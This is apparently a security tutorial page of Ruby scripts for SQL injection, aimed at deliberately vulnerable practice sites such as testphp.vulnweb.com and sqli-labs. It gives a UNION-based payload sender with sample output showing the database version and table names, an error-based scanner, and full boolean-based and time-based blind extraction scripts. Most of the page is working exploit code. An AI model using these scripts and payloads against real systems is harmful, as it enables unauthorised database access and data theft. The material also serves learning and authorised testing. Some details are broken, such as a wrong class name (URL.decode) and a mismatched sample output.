SQL Injection Scanner

Basic SQLi script as command line browser

The is a very basic script take your given payload and send it to the vulnerable parameter and returns the response back to you. I’ll use (http://testphp.vulnweb.com/) as it’s legal to test.

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. # Send your payload from command line
  4. #
  5. require "net/http"
  6. if ARGV.size < 2
  7. puts "[+] ruby #{__FILE__} [IP ADDRESS] [PAYLOAD]"
  8. exit 0
  9. else
  10. host, payload = ARGV
  11. end
  12. uri = URI.parse("http://#{host}/artists.php?")
  13. uri.query = URI.encode_www_form({"artist" => "#{payload}"})
  14. http = Net::HTTP.new(uri.host, uri.port)
  15. http.use_ssl = true if uri.scheme == 'https' # Enable HTTPS support if it's HTTPS
  16. # http.set_debug_output($stdout)
  17. request = Net::HTTP::Get.new(uri.request_uri)
  18. response = http.request(request)
  19. # puts "[+] Status code: "+ response.code + "\n\n"
  20. # puts response.body.gsub(/<.*?>/, '').strip
  21. puts response.body.scan(/<h2 id='pageName'>.*<\/h2>/).join.gsub(/<.*?>/, '').strip
  22. puts ""

I’ve commented the line puts response.body.gsub(/<.*?>/, '').strip and added a custom regular expression to fix our target outputs.

Let’s to test it in action

  1. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,NULL,NULL,NULL#" | grep -i -e warning -e error
  2. # => Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62
  3. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,NULL,NULL#" | grep -i -e warning -e error
  4. # =>
  5. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,@@VERSION,NULL#"
  6. # => artist: 5.1.73-0ubuntu0.10.04.1
  7. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables#"
  8. # => artist: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVIL

Here a very basic and simple SQL-injection solid scanner, develop it as far as you can!

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. # Very basic SQLi scanner!
  4. #
  5. require 'net/http'
  6. # Some SQLi payloads
  7. payloads =
  8. [
  9. "'",
  10. '"',
  11. "' or 1=2--+"
  12. ]
  13. # Some database error responses
  14. errors =
  15. {
  16. :mysql => [
  17. "SQL.*syntax",
  18. "mysql.*(fetch).*array",
  19. "Warning"
  20. ],
  21. :mssql => [
  22. "line.*[0-9]",
  23. "Microsoft SQL Native Client error.*"
  24. ],
  25. :oracle => [
  26. ".*ORA-[0-9].*",
  27. "Warning"
  28. ]
  29. }
  30. # Try a known vulnerable site
  31. uri = URI.parse "http://testphp.vulnweb.com/artists.php?artist=1"
  32. # Update the query with a payload
  33. uri.query += payloads[0]
  34. # Send get request
  35. response = Net::HTTP.get uri
  36. # Search if an error occurred = vulnerable
  37. puts "[+] The #{URL.decode(uri.to_s)} is vulnerable!" unless response.match(/#{errors[:mysql][0]}/i).nil?

Try it on this URL (http://testasp.vulnweb.com/showforum.asp?id=0)

Results

  1. ruby sqli.rb http://testasp.vulnweb.com/showforum.asp?id=0
  2. [+] The http://testphp.vulnweb.com/artists.php?artist=1' is vulnerable!

Boolean-bases SQLi Exploit Script

Here is a Boolean-based SQLi exploit for sqli-labs vulnerable application.

  1. #!/usr/bin/env ruby
  2. # Boolean-based SQLi exploit
  3. # Sabri Saleh | @KINGSABRI
  4. #
  5. require 'open-uri'
  6. if ARGV.size < 1
  7. puts "[+] ruby #{__FILE__} <IP ADDRESS>"
  8. exit 0
  9. else
  10. host = ARGV[0]
  11. end
  12. # Just colorizing outputs
  13. class String
  14. def red; colorize(self, "\e[1m\e[31m"); end
  15. def green; colorize(self, "\e[1m\e[32m"); end
  16. def bold; colorize(self, "\e[1m"); end
  17. def colorize(text, color_code) "#{color_code}#{text}\e[0m" end
  18. end
  19. # SQL injection
  20. def send_bbsqli(url, query)
  21. begin
  22. response = open(URI.parse( URI.encode("#{url}#{query}") ))
  23. if !response.read.scan("You are in...........").empty?
  24. return 1 # TRUE
  25. end
  26. rescue Exception => e
  27. puts "[!] Failed to SQL inject #{e}".red
  28. exit 0
  29. end
  30. end
  31. url = "http://#{host}/sqli-labs/Less-8/index.php?id="
  32. puts "[*] Start Sending Boolean-based SQLi".bold
  33. extracted = []
  34. (1..100).map do |position|
  35. (32..126).map do |char|
  36. puts "[*] Brute-forcing on Position: ".bold + "#{position}".green + " | ".bold + "Character: ".bold + "#{char} = #{char.chr}".green
  37. # Put your query here
  38. # query = "1' AND (ASCII(SUBSTR((SELECT DATABASE()),#{position},1)))=#{char}--+"
  39. query = "1' AND (ASCII(SUBSTR((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1),#{position},1)))=#{char}--+"
  40. result = send_bbsqli(url, query)
  41. if result.eql? 1
  42. puts "[+] Found character: ".bold + "#{char.to_s(16)} hex".green
  43. extracted << char.chr
  44. puts "[+] Extracted characters: ".bold + "#{extracted.join}".green
  45. break
  46. end
  47. end
  48. end
  49. puts "\n\n[+] Final found string: ".bold + "#{extracted.join}".green

Time-bases SQLi Exploit Script

A Time-based SQLi exploit for sqli-labs vulnerable application.

  1. #!/usr/bin/env ruby
  2. # Boolean-based SQLi exploit
  3. # Sabri Saleh | @KINGSABRI
  4. #
  5. require 'open-uri'
  6. if ARGV.size < 1
  7. puts "[+] ruby #{__FILE__} <IP ADDRESS>"
  8. exit 0
  9. else
  10. host = ARGV[0]
  11. end
  12. # Just colorizing outputs
  13. class String
  14. def red; colorize(self, "\e[1m\e[31m"); end
  15. def green; colorize(self, "\e[1m\e[32m"); end
  16. def bold; colorize(self, "\e[1m"); end
  17. def colorize(text, color_code) "#{color_code}#{text}\e[0m" end
  18. end
  19. # SQL injection
  20. def send_tbsqli(url, query, time2wait)
  21. begin
  22. start_time = Time.now
  23. response = open(URI.parse( URI.encode("#{url}#{query}") ))
  24. end_time = Time.now
  25. howlong = end_time - start_time
  26. if howlong >= time2wait
  27. return 1 # TRUE
  28. end
  29. rescue Exception => e
  30. puts "[!] Failed to SQL inject #{e}".red
  31. exit 0
  32. end
  33. end
  34. url = "http://#{host}/sqli-labs/Less-10/index.php?id="
  35. puts "[*] Start Sending Boolean-based SQLi".bold
  36. time2wait = 5
  37. extracted = []
  38. (1..76).map do |position|
  39. (32..126).map do |char|
  40. puts "[*] Brute-forcing on Position: ".bold + "#{position}".green + " | ".bold + "Character: ".bold + "#{char} = #{char.chr}".green
  41. # Put your query here
  42. query = "1\" AND IF((ASCII(SUBSTR((SELECT DATABASE()),#{position},1)))=#{char}, SLEEP(#{time2wait}), NULL)--+"
  43. result = send_tbsqli(url, query, time2wait)
  44. if result.eql? 1
  45. puts "[+] Found character: ".bold + "#{char.to_s(16)} hex".green
  46. extracted << char.chr
  47. puts "[+] Extracted characters: ".bold + "#{extracted.join}".green
  48. break
  49. end
  50. end
  51. end
  52. puts "\n\n[+] Final found string: ".bold + "#{extracted.join}".green